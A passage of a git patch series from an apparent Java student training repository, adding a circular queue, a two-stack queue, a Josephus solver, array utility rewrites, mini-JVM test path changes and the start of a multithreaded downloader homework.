 	<classpathentry kind="lib" path="lib/commons-io-1.4.jar"/>
+	<classpathentry kind="lib" path="lib/commons-lang-2.4.jar"/>
+	<classpathentry kind="lib" path="lib/junit-4.8.2.jar"/>
+	<classpathentry kind="lib" path="lib/commons-lang3-3.1.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>

From c909e92203df909c40e11b2912ed5318ca7d90eb Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Tue, 2 May 2017 14:47:28 +0800
Subject: [PATCH 159/262] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E6=96=87=E4=BB=B6?=
 =?UTF-8?q?=E8=B7=AF=E5=BE=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java   | 2 +-
 .../383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
index b2128a5372..b9dc2608f8 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -27,7 +27,7 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	static String path1 = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
+	static String path1 = "E:\\coding2017\\group27\\383117348\\bin";
 	static String path2 = "C:\temp";
 	
 	static ClassFile clzFile = null;
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java b/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
index 641ad0a7ed..22193dc246 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
@@ -8,7 +8,7 @@
 
 public class MiniJVMTest {
 
-	static final String PATH = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
+	static final String PATH = "E:\\coding2017\\group27\\383117348\\bin";
 
 	@Before
 	public void setUp() throws Exception {

From c4ab820de2a0aff4ca64cb8fc5e27cd55e04f134 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Tue, 2 May 2017 22:14:01 +0800
Subject: [PATCH 160/262] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E7=BA=A6=E7=91=9F?=
 =?UTF-8?q?=E5=A4=AB=E7=8E=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../basic/queue/CircleQueueTest.java          | 44 +++++++++++++++++++
 1 file changed, 44 insertions(+)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..a55219fde2
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
@@ -0,0 +1,44 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class CircleQueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>(5);		
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertTrue(queue.isFull());
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+
+}

From 148869c724baba2a9b57e535ecbac4aa00a06fc9 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Wed, 3 May 2017 00:13:58 +0800
Subject: [PATCH 161/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E7=94=B12=E4=B8=AA?=
 =?UTF-8?q?=E6=A0=88=E6=9E=84=E6=88=90=E7=9A=84=E9=98=9F=E5=88=97=EF=BC=8C?=
 =?UTF-8?q?=E5=AE=8C=E6=88=90=E7=94=B1=E6=95=B0=E7=BB=84=E6=9E=84=E6=88=90?=
 =?UTF-8?q?=E7=9A=84=E5=8F=8C=E7=AB=AF=E9=98=9F=E5=88=97=EF=BC=8C=E5=B9=B6?=
 =?UTF-8?q?=E8=A1=A5=E5=85=85=E6=B5=8B=E8=AF=95=E7=94=A8=E4=BE=8B=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/queue/CircleQueue.java   | 69 ++++++++++++++++++-
 .../basic/queue/CircleQueueTest.java          | 13 +++-
 .../coding2017/basic/queue/Josephus.java      | 14 ++--
 .../basic/queue/QueueWithTwoStacks.java       | 31 +++++----
 .../basic/queue/QueueWithTwoStacksTest.java   | 52 ++++++++++++++
 .../jvm/loader/ByteCodeIterator.java          |  2 +-
 6 files changed, 161 insertions(+), 20 deletions(-)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacksTest.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
index 104ca0c92f..3434c87519 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
@@ -1,5 +1,72 @@
 package com.github.miniyk2012.coding2017.basic.queue;
 
-public class CircleQueue {
+import java.util.ArrayDeque;
 
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int head = 0;
+	//队尾  
+	private int rear = 0;   // rear指向的位置不放值，也就是说即使满了，也有一个空位
+
+    public CircleQueue(int capacity) {
+        elementData = new Object[capacity+1];  // 实际的数组长度要比容量大1
+    }
+
+    public CircleQueue() {
+    }
+
+    public boolean isEmpty() {
+		return head == rear;
+    }
+
+    public int size() {
+
+        return Math.floorMod(rear-head, elementData.length);
+    }
+
+    /**
+     * 如果满了还往里面放，则抛IndexOutOfBoundsException异常
+     */
+    public void enQueue(E data) {
+        if (isFull()) throw new IndexOutOfBoundsException("循环队列已满");
+        elementData[rear] = data;
+        rear = Math.floorMod(rear+1, elementData.length);
+    }
+
+    /**
+     * 如果为空，则抛IndexOutOfBoundsException异常
+     * @return
+     */
+    public E deQueue() {
+        if (isEmpty()) throw new IndexOutOfBoundsException("循环队列为空");
+        E result = (E) elementData[head];
+        head = Math.floorMod(head+1, elementData.length);
+        return result;
+    }
+
+    public boolean isFull() {
+	    return size() == elementData.length-1;
+    }
+
+    public static void main(String[] args) {
+        /**
+         Math.floorMod( 2,  3) =  2
+         Math.floorMod(-2,  3) =  1
+         Math.floorMod( 2, -3) = -1
+         Math.floorMod(-2, -3) = -2
+         */
+        System.out.println(Math.floorMod(1-2, 5));
+    }
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
index a55219fde2..9d715a81a0 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
@@ -36,9 +36,20 @@ public void test() {
 		Assert.assertEquals("a", queue.deQueue());
 		Assert.assertEquals("b", queue.deQueue());
 		Assert.assertEquals("c", queue.deQueue());
+
+		Assert.assertFalse(queue.isFull());
+		Assert.assertEquals(2, queue.size());
+
+		queue.enQueue("f");
+		queue.enQueue("g");
 		Assert.assertEquals("d", queue.deQueue());
 		Assert.assertEquals("e", queue.deQueue());
-		
+		Assert.assertEquals("f", queue.deQueue());
+		Assert.assertEquals("g", queue.deQueue());
+
+		Assert.assertEquals(0, queue.size());
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
 	}
 
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
index 199a08628c..7c62997d2e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
@@ -1,20 +1,24 @@
 package com.github.miniyk2012.coding2017.basic.queue;
 
-import java.util.ArrayList;
 import java.util.List;
 
 /**
  * 用Queue来实现Josephus问题
  * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
- * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
+ * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
  * @author liuxin
  *
  */
 public class Josephus {
 	
-	public static List<Integer> execute(int n, int m){
-		
-		return null;
+	public static List<Integer> execute(int n, int m){		
+		CircleQueue<Integer> circleQueue = new CircleQueue<>(n);
+		for (int i=0; i<n; i++) {
+            circleQueue.enQueue(i);
+        }
+        return null;
 	}
+
 	
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
index 4f7ba31387..c936547f62 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacks.java
@@ -2,8 +2,14 @@
 
 import java.util.Stack;
 
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
 public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;    
+	private Stack<E> stack1;    
     private Stack<E> stack2;    
 
     
@@ -12,29 +18,30 @@ public QueueWithTwoStacks() {
         stack2 = new Stack<E>();
     }
 
-   
-
-
     public boolean isEmpty() {
-       return false;
+        return stack1.isEmpty();
     }
 
-
+    private void move(Stack s1, Stack s2) {
+        while (!s1.empty()) {
+            s2.push(s1.pop());
+        }
+    }
     
     public int size() {
-       return -1;
+        return  stack1.size();
     }
 
-
-
     public void enQueue(E item) {
-        
+        stack1.push(item);
     }
 
     public E deQueue() {
-        return null;
+        move(stack1, stack2);
+        E result = stack2.pop();
+        move(stack2, stack1);
+        return result;
     }
 
-
  }
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacksTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..30c3268c5a
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/QueueWithTwoStacksTest.java
@@ -0,0 +1,52 @@
+package com.github.miniyk2012.coding2017.basic.queue;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.Before; 
+import org.junit.After; 
+
+/** 
+* QueueWithTwoStacks Tester. 
+* 
+* @author <Authors name> 
+* @since <pre>May 3, 2017</pre> 
+* @version 1.0 
+*/ 
+public class QueueWithTwoStacksTest {
+    QueueWithTwoStacks<String> queue;
+
+    @Before
+    public void before() throws Exception {
+        queue = new QueueWithTwoStacks<>();
+    }
+
+    @After
+    public void after() throws Exception {
+    }
+
+    @Test
+    public void testFunction() {
+        queue.enQueue("a");
+        queue.enQueue("b");
+        queue.enQueue("c");
+        queue.enQueue("d");
+        Assert.assertEquals(4, queue.size());
+        Assert.assertFalse(queue.isEmpty());
+
+        Assert.assertEquals("a", queue.deQueue());
+        Assert.assertEquals("b", queue.deQueue());
+        Assert.assertEquals("c", queue.deQueue());
+        Assert.assertEquals(1, queue.size());
+        Assert.assertFalse(queue.isEmpty());
+
+        queue.enQueue("e");
+        Assert.assertEquals("d", queue.deQueue());
+        Assert.assertEquals("e", queue.deQueue());
+        Assert.assertTrue(queue.isEmpty());
+        Assert.assertEquals(0, queue.size());
+
+    }
+
+
+
+} 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
index 39500bb87c..1cd3b700aa 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ByteCodeIterator.java
@@ -11,7 +11,7 @@ public class ByteCodeIterator {
     private int point = 0;
 
     public ByteCodeIterator(byte[] codes) {
-        this.codes = codes;
+        this.codes = codes.clone();
     }
 
     public int nextU1toInt() {

From 11baad280b46a4bd5eadb522e9dab9ca99b80270 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Wed, 3 May 2017 00:57:54 +0800
Subject: [PATCH 162/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E7=BA=A6=E7=91=9F?=
 =?UTF-8?q?=E5=A4=AB=E7=8E=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/queue/CircleQueue.java       |  6 +++---
 .../coding2017/basic/queue/CircleQueueTest.java   |  9 +++++++++
 .../coding2017/basic/queue/Josephus.java          | 15 ++++++++++++++-
 3 files changed, 26 insertions(+), 4 deletions(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
index 3434c87519..ff6f0f2699 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueue.java
@@ -3,7 +3,7 @@
 import java.util.ArrayDeque;
 
 /**
- * 用数组实现循环队列
+ * 用数组实现循环队列,这也是一个队列，和普通队列有相同的外部特性，只是内部使用循环数组实现的罢了
  * @author liuxin
  *
  * @param <E>
@@ -16,9 +16,9 @@ public class CircleQueue <E> {
 	private Object[] elementData = new Object[DEFAULT_SIZE] ;
 	
 	//队头
-	private int head = 0;
+	protected int head = 0;
 	//队尾  
-	private int rear = 0;   // rear指向的位置不放值，也就是说即使满了，也有一个空位
+	protected int rear = 0;   // rear指向的位置不放值，也就是说即使满了，也有一个空位
 
     public CircleQueue(int capacity) {
         elementData = new Object[capacity+1];  // 实际的数组长度要比容量大1
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
index 9d715a81a0..1b4c4d1887 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/CircleQueueTest.java
@@ -26,6 +26,8 @@ public void test() {
 		queue.enQueue("a");
 		queue.enQueue("b");
 		queue.enQueue("c");
+        // System.out.println(queue.head);
+        // System.out.println(queue.rear);
 		queue.enQueue("d");
 		queue.enQueue("e");
 		
@@ -42,14 +44,21 @@ public void test() {
 
 		queue.enQueue("f");
 		queue.enQueue("g");
+		// System.out.println(queue.head);
+		// System.out.println(queue.rear);
 		Assert.assertEquals("d", queue.deQueue());
 		Assert.assertEquals("e", queue.deQueue());
+		// System.out.println(queue.head);
+		// System.out.println(queue.rear);
 		Assert.assertEquals("f", queue.deQueue());
 		Assert.assertEquals("g", queue.deQueue());
 
 		Assert.assertEquals(0, queue.size());
 		Assert.assertTrue(queue.isEmpty());
 		Assert.assertFalse(queue.isFull());
+
+		// System.out.println(queue.head);
+		// System.out.println(queue.rear);
 	}
 
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
index 7c62997d2e..9f70edd16d 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/queue/Josephus.java
@@ -1,5 +1,6 @@
 package com.github.miniyk2012.coding2017.basic.queue;
 
+import java.util.LinkedList;
 import java.util.List;
 
 /**
@@ -14,10 +15,22 @@ public class Josephus {
 	
 	public static List<Integer> execute(int n, int m){		
 		CircleQueue<Integer> circleQueue = new CircleQueue<>(n);
+		List<Integer> result = new LinkedList<>();
 		for (int i=0; i<n; i++) {
             circleQueue.enQueue(i);
         }
-        return null;
+        int num = 1;  // 从1开始报数
+        while (!circleQueue.isEmpty()) {
+			Integer x = circleQueue.deQueue();
+			if (num == m) {
+			    num = 1;  // 杀死一个人，下一个人从1开始报数
+			    result.add(x);
+            } else {
+			    num++;
+			    circleQueue.enQueue(x);
+            }
+		}
+        return result;
 	}
 
 	

From 3b3f16f869e84d2c08ecba5445973ec844414d17 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Wed, 3 May 2017 12:48:53 +0800
Subject: [PATCH 163/262] the third homework and changes of the second homework
 download and linkedList

---
 .../src/data_Structure_Utils/ArrayUtil.java   | 227 ++++++-------
 .../src/download/DownloadThread.java          |  43 +++
 .../src/download/FileDownloader.java          | 120 +++++++
 .../src/download/api/Connection.java          |  23 ++
 .../src/download/api/ConnectionException.java |  10 +
 .../src/download/api/ConnectionManager.java   |  10 +
 .../src/download/api/DownloadListener.java    |   5 +
 .../src/download/impl/ConnectionImpl.java     |  79 +++++
 .../download/impl/ConnectionManagerImpl.java  |  18 +
 .../1294642551/src/linkList/LinkedList.java   | 320 ++++++++++++++++++
 .../src/linkList/LinkedListTest.java          | 202 +++++++++++
 group19/1294642551/src/linkList/List.java     |   9 +
 .../src/litestruts/Configuration.java         | 137 ++++++++
 .../litestruts/ConfigurationException.java    |  26 ++
 .../src/litestruts/LoginAction.java           |  39 +++
 .../src/litestruts/ReflectionUtil.java        |  79 +++++
 group19/1294642551/src/litestruts/Struts.java |  98 ++++++
 group19/1294642551/src/litestruts/View.java   |  23 ++
 .../data_Structure_Utils/ArrayUtilTest.java   |  29 +-
 .../test/download/ConnectionTest.java         |  36 ++
 .../test/download/FileDownloaderTest.java     |  59 ++++
 .../test/litestruts/ConfigurationTest.java    |  39 +++
 .../test/litestruts/ReflectionUtilTest.java   | 110 ++++++
 .../test/litestruts/StrutsTest.java           |  39 +++
 24 files changed, 1656 insertions(+), 124 deletions(-)
 create mode 100644 group19/1294642551/src/download/DownloadThread.java
 create mode 100644 group19/1294642551/src/download/FileDownloader.java
 create mode 100644 group19/1294642551/src/download/api/Connection.java
 create mode 100644 group19/1294642551/src/download/api/ConnectionException.java
 create mode 100644 group19/1294642551/src/download/api/ConnectionManager.java
 create mode 100644 group19/1294642551/src/download/api/DownloadListener.java
 create mode 100644 group19/1294642551/src/download/impl/ConnectionImpl.java
 create mode 100644 group19/1294642551/src/download/impl/ConnectionManagerImpl.java
 create mode 100644 group19/1294642551/src/linkList/LinkedList.java
 create mode 100644 group19/1294642551/src/linkList/LinkedListTest.java
 create mode 100644 group19/1294642551/src/linkList/List.java
 create mode 100644 group19/1294642551/src/litestruts/Configuration.java
 create mode 100644 group19/1294642551/src/litestruts/ConfigurationException.java
 create mode 100644 group19/1294642551/src/litestruts/LoginAction.java
 create mode 100644 group19/1294642551/src/litestruts/ReflectionUtil.java
 create mode 100644 group19/1294642551/src/litestruts/Struts.java
 create mode 100644 group19/1294642551/src/litestruts/View.java
 create mode 100644 group19/1294642551/test/download/ConnectionTest.java
 create mode 100644 group19/1294642551/test/download/FileDownloaderTest.java
 create mode 100644 group19/1294642551/test/litestruts/ConfigurationTest.java
 create mode 100644 group19/1294642551/test/litestruts/ReflectionUtilTest.java
 create mode 100644 group19/1294642551/test/litestruts/StrutsTest.java

diff --git a/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java b/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java
index 412e261efb..5138f7e402 100644
--- a/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java
+++ b/group19/1294642551/src/data_Structure_Utils/ArrayUtil.java
@@ -1,6 +1,7 @@
 package data_Structure_Utils;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Iterator;
 import java.util.TreeSet;
 
@@ -13,17 +14,18 @@ public class ArrayUtil {
 	 * @param origin
 	 * @return
 	 */
-	public int[] reverseArray(int[] origin){
+	public void reverseArray(int[] origin){
 		
+		if(origin == null || origin.length == 0){
+			return;
+		}
 		int len = origin.length;
-		int[] arr = new int[len];
-		
-		for(int i = 0; i < len; i++)
-		{
-			arr[i] = origin[ len -1 - i];
+		for(int i = 0; i < len/2; i++){
+			int temp = origin[i];
+			origin[i] = origin[len-1-i];
+			origin[len-1-i] = temp;
 		}
 		
-		return arr;
 	}
 	
 	/**
@@ -35,9 +37,11 @@ public int[] reverseArray(int[] origin){
 	 */
 	
 	public int[] removeZero(int[] oldArray){
+		if(oldArray == null){
+			return null;
+		}
 		
 		ArrayList<Integer> al = new ArrayList<Integer>();
-		
 		int len = oldArray.length;
 		for(int i = 0; i < len; i++)
 		{
@@ -68,6 +72,13 @@ public int[] removeZero(int[] oldArray){
 	 */
 	
 	public int[] merge(int[] array1, int[] array2){
+		if(array1 == null){
+			return array2;
+		}
+		if(array2 == null){
+			return array1;
+		}
+		
 		TreeSet<Integer> tr = new TreeSet<Integer>();
 		for(int i = 0; i < array1.length; i++)
 		{
@@ -82,7 +93,7 @@ public int[] merge(int[] array1, int[] array2){
 		int[] arr = new int[arrLen];
 		int index = 0;
 		
-		Iterator it = tr.iterator();
+		Iterator<Integer> it = tr.iterator();
 		while(it.hasNext())
 		{
 			arr[index] = (Integer) it.next();
@@ -101,20 +112,15 @@ public int[] merge(int[] array1, int[] array2){
 	 * @return
 	 */
 	public int[] grow(int [] oldArray,  int size){
-		
-		int len = oldArray.length;
-		int arrLen = len + size;
-		int[] arr = new int[arrLen];
-		
-		for(int i = 0; i < arrLen; i++)
-		{
-			if (i < len)
-				arr[i] = oldArray[i];
-			else
-				arr[i] = 0;
+		if(oldArray == null){
+			return null;
 		}
-		
-		return arr;
+		if(size<0){
+			throw new IndexOutOfBoundsException("size < 0");
+		}
+		int[] newArray = new int[oldArray.length + size];
+		System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
+		return newArray;
 		
 	}
 	
@@ -126,35 +132,26 @@ public int[] grow(int [] oldArray,  int size){
 	 * @return
 	 */
 	public int[] fibonacci(int max){
-		
-		ArrayList<Integer> al = new ArrayList<Integer>();
-		int first = 1;
-		int second = 1;
-		int value = 0;
-		if(max >= 2)
-		{
-			al.add(first);
-			al.add(second);
+		if(max == 1){
+			return new int[0];
+		}
+		if(max == 2){
+			return new int[]{1, 1};
 		}
-		do
-		{
-			value = first + second;
-			if(value < max)
-			{
-				al.add(value);
-				first = second;
-				second = value;
-			}
-		}while(value < max);
 		
-		int arrLen = al.size();
-		int[] arr = new int[arrLen];
-		for(int i = 0; i < arrLen; i++)
-		{
-			arr[i] = al.get(i);
+		int[] arr = new int[max];//分配了多的空间，后面需要做数组拷贝
+		arr[0] = 1;
+		arr[1] = 2;
+		int count = 2;//已经有两个元素了
+		for(int i = 2; i < max; i++){
+			arr[i] = arr[i-2] + arr[i-1];
+			if(arr[i] >= max){
+				break;
+			}
+			count++;
 		}
 		
-		return arr;
+		return Arrays.copyOf(arr, count);
 		
 	}
 	
@@ -166,40 +163,36 @@ public int[] fibonacci(int max){
 	 */
 	public int[] getPrimes(int max){
 		
-		ArrayList<Integer> al = new ArrayList<Integer>();
-		if(max > 2)
-			al.add(2);
+		if(max < 3){
+			return new int[0];
+		}
 		
-		int value = 3;
-		while(value < max)
-		{
-			int flag = 1;
-			for(int i = 2; i < value; i++)
-			{
-				if(value % i == 0)
-				{
-					flag = 0;
-					break;
-				}
+		int[] arr = new int[max];
+		int count = 0;
+		for(int n = 2; n < max; n++){
+			if(isPrime(n)){
+				arr[count++] = n;
 			}
-			
-			if (flag == 1)
-				al.add(value);
-			
-			value++;
 		}
 		
-		int arrLen = al.size();
-		int[] arr = new int[arrLen];
-		for(int i = 0; i < arrLen; i++)
-		{
-			arr[i] = al.get(i);
-		}
 		
-		return arr;
+		return Arrays.copyOf(arr, count);
 		
 	}
 	
+	// 判断某个数是否是素数
+	private boolean isPrime(int n){
+		int i = 2;
+		while(i < n){
+			if(n % i != 0){
+				i++;
+			}else{
+				break;
+			}
+		}
+		return i == n;
+	}
+	
 	/**
 	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
 	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
@@ -207,42 +200,45 @@ public int[] getPrimes(int max){
 	 * @return
 	 */
 	public int[] getPerfectNumbers(int max){
-		
-		ArrayList<Integer> al = new ArrayList<Integer>();
-		for(int i = 1; i < max; i++)
-		{
-			if (isPerfectNumber(i))
-				al.add(i);
+		if (max <= 0) {
+		    return null;
 		}
-		
-		int arrLen = al.size();
-		int[] arr = new int[arrLen];
-		for(int i = 0; i < arrLen; i++)
-		{
-			arr[i] = al.get(i);
+		int[] array = new int[max];
+		int count = 0;
+		
+		for(int n = 2; n < max; n++){
+			int sum = 0;//记录所有真因子之和
+			for(int i = 1; i < n; i++){
+				if(n%i == 0){
+					sum += i;
+				}
+			}
+			if(sum == n){
+				array[count++] = n;
+			}
 		}
-		
-		return arr;
+
+		return Arrays.copyOf(array, count);
 	}
 	
-	public boolean isPerfectNumber(int number)
-	{
-		ArrayList<Integer> al = new ArrayList<Integer>();
-		
-		for(int i = 1; i < number; i++)
-		{
-			if(number % i == 0)
-				al.add(i);
-		}
-		
-		int value = 0;
-		for(int j = 0; j < al.size(); j++)
-		{
-			value = value + al.get(j);
-		}
-		
-		return value == number;
-	}
+//	public boolean isPerfectNumber(int number)
+//	{
+//		ArrayList<Integer> al = new ArrayList<Integer>();
+//		
+//		for(int i = 1; i < number; i++)
+//		{
+//			if(number % i == 0)
+//				al.add(i);
+//		}
+//		
+//		int value = 0;
+//		for(int j = 0; j < al.size(); j++)
+//		{
+//			value = value + al.get(j);
+//		}
+//		
+//		return value == number;
+//	}
 	
 	/**
 	 * 用seperator 把数组 array给连接起来
@@ -254,15 +250,20 @@ public boolean isPerfectNumber(int number)
 	 */
 	public String join(int[] array, String seperator){
 		
-		String str = "";
-		int len = array.length;
-		for(int i = 0; i < len-1; i++)
-		{
-			str = str + array[i] + seperator;
+		if(array == null){
+			return null;
 		}
-		str = str + array[len-1];
-		
-		return str;
+		if(array.length == 0){
+			return "";
+		}
+		StringBuilder sb = new StringBuilder();
+		for(int i = 0; i < array.length; i++){
+			sb.append(array[i]);
+			if(i < array.length -1){
+				sb.append(seperator);
+			}
+		}
+		return sb.toString();
 	}
 	
 	
diff --git a/group19/1294642551/src/download/DownloadThread.java b/group19/1294642551/src/download/DownloadThread.java
new file mode 100644
index 0000000000..aebd8932f0
--- /dev/null
+++ b/group19/1294642551/src/download/DownloadThread.java
@@ -0,0 +1,43 @@
+package download;
+
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	CyclicBarrier barrier;
+	String localFile;
+
+	public DownloadThread( Connection conn, int startPos, int endPos,String localFile, CyclicBarrier barrier){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.localFile = localFile;
+		this.barrier = barrier;
+	}
+
+	
+	public void run(){	
+		try {
+			System.out.println("Begin to read [" + startPos +"-"+endPos+"]");
+			// 每个线程都有一个RandomAccessFile,这样多线程下载的时候不会出现冲突
+			RandomAccessFile raf = new RandomAccessFile(localFile, "rw");
+			byte[] data = conn.read(startPos, endPos);
+			raf.seek(startPos);
+			raf.write(data);
+			raf.close();
+			conn.close();
+			barrier.await();//等待别的线程完成
+			
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+		
+	}
+}
diff --git a/group19/1294642551/src/download/FileDownloader.java b/group19/1294642551/src/download/FileDownloader.java
new file mode 100644
index 0000000000..6d7096c644
--- /dev/null
+++ b/group19/1294642551/src/download/FileDownloader.java
